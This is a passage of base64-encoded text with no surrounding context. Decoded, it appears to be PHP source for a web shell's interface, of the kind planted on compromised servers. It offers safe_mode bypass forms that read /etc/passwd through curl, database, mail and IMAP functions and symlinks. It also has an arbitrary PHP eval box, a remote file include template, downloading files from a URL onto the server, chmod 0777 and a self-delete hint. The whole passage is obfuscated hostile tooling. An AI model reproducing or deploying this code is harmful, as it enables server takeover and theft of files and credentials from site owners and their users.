iRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0M19tcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21wJ10pPygkX1BPU1RbJ3Rlc3QzX21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsYicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyMCddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ltMXAyJyw1MCwoIWVtcHR5KCRfUE9TVFsnc3ltMXAyJ10pPygkX1BPU1RbJ3N5bTFwJ10pOigiLy4uLy4uLy4uLyIpKSkuaW4oJ3RleHQnLCdzeW0xcCcsNTAsKCFlbXB0eSgkX1BPU1RbJ3N5bTFwJ10pPygkX1BPU1RbJ3N5bTFwJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc3ltMScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyMiddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc3ltMicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA0J10sJ2lkMjMnKS4kdGFibGVfdXAyLmRpdignaWQyMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2cnLDk2LCghZW1wdHkoJF9QT1NUWydsb2cnXSk/KCRfUE9TVFsnbG9nJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnyuMg0tHaIMfh1OEg5sjF49/H5N8gx9PKzs/H4+UgZmlsZW5hbWUucGhwP3NzPWh0dHA6Ly9zaGVsbC50eHQ/Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNyddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2dsb2InLDg1LCcvZXRjLycpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2dsb2InKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwOSddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Jvb3QnLDg1LCcvZXRjLycpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Jvb3QnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEwJ10sJ2lkMTEnKS4kdGFibGVfdXAyLmRpdignaWQxMScpLiR0czsNCmVjaG8gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3plbmQnLDg1LCghZW1wdHkoJF9QT1NUWyd6ZW5kJ10pPygkX1BPU1RbJ3plbmQnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd6ZW5kJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMSddLCdpZDIxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BocF9pbmkxJywxMCwncGhwLmluaScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDY1J10pKTsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdodGFjY2VzJywxMCwnaHRhY2Nlc3MnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2NSddKSk7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTgnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZmlsZV9pbmknLDEwLCdpbmkucGhwJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyMSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywnZnVuemlwJyw3OCwiJGRpci9maWxlIikpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnppcCcsMTA1LCIkZGlyL3NwbG9pdHouemlwIikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE5J10sJ2lkMTUnKS4kdGFibGVfdXAyLmRpdignaWQxNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IixpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdmaWxlZnJvbScsNzgsJ2h0dHA6Ly93ZWJzaXRlLmNvbS9maWxlLnR4dCcpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2ZpbGV0bycsMTA1LGZpbGVuYW1lXy5waHApLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQokYWxpYXNlczIgPSAnJzsNCmZvcmVhY2ggKCRhbGlhc2VzIGFzICRhbGlhc19uYW1lPT4kYWxpYXNfY21kKQ0KIHsNCiAkYWxpYXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOw0KIH0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3J10sJ2lkNicpLiR0YWJsZV91cDIuZGl2KCdpZDYnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCn0NCg0KaWYoJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTcnXSwnaWQ0JykuJHRhYmxlX3VwMi5kaXYoJ2lkNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ21rX25hbWUnLDU0LCghZW1wdHkoJF9QT1NUWydta19uYW1lJ10pPygkX1BPU1RbJ21rX25hbWUnXSk6KCJuZXdfbmFtZSIpKSkud3MoNCkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzKS4iPHNlbGVjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1maWxlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGlyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uIjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWsnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEzJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUgJiYgJHVuaXgpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY3J10sJ2lkNScpLiR0YWJsZV91cDIuZGl2KCdpZDUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9bW9kPkNITU9EPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj48b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY5J10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMScsNDAsKCgkX1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCJmaWxlbmFtZSIpKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcwJ10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMiB0aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMjYsKCgkX1BPU1RbJ3BhcmFtMiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdjaF8nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSl7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NCddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5pbigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCEkc2FmZV9tb2RlICYmICR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NiddLCdpZDgnKS4kdGFibGVfdXAyLmRpdignaWQ4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDczJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkOScpLiR0YWJsZV91cDIuJGZvbnQ7DQplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQ5JykuIjx0ZXh0YXJlYSBuYW1lPXBocF9ldmFsIGNvbHM9MTAwIHJvd3M9Mz4iOw0KZWNobyAoIWVtcHR5KCRfUE9TVFsncGhwX2V2YWwnXSk/KCRfUE9TVFsncGhwX2V2YWwnXSk6KCIvKiBkZWxldGUgc2NyaXB0ICovXHJcbi8vdW5saW5rKFwic25pcGVyX3NhLnBocFwiKTtcclxuLy9yZWFkZmlsZShcIi9ldGMvcGFzc3dkXCIpOyIpKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdwaHBfZXZhbCcpOw0KZWNobyAiPGJyPiIud3MoMSkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKTsNCmVjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iOw0KZWNobyAkdGFibGVfZW5kMS4kZmU7DQppZigkc2FmZV9tb2RlJiYkY3VybF9vbikNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMyddLCdpZDEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MV9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDFfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzQnXSwnaWQxMScpLiR0YWJsZV91cDIuZGl2KCdpZDExJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDJfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCg0KaWYoJHNhZmVfbW9kZSYmJG1zc3FsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg1J10sJ2lkMTMnKS4kdGFibGVfdXAyLmRpdignaWQxMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWQnXSk/KCRfUE9TVFsndGVzdDRfbWQnXSk6KCJtYXN0ZXIiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21sJ10pPygkX1BPU1RbJ3Rlc3Q0X21sJ10pOigic2EiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21wJ10pPygkX1BPU1RbJ3Rlc3Q0X21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKT8oJF9QT1NUWyd0ZXN0NF9wb3J0J10pOigiMTQzMyIpKSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDRfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NF9maWxlJ10pOigiZGlyIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiYkdW5peCYmZnVuY3Rpb25fZXhpc3RzKCdtYl9zZW5kX21haWwnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEyJ10sJ2lkMjInKS4kdGFibGVfdXAyLmRpdignaWQyMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q1X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NV9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSYmZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2xpc3QnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEzJ10sJ2lkMjMnKS4kdGFibGVfdXAyLmRpdignaWQyMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDZfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZmdW5jdGlvbl9leGlzdHMoJ2ltYXBfYm9keScpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTQnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDdfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q3Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlKQ0Kew0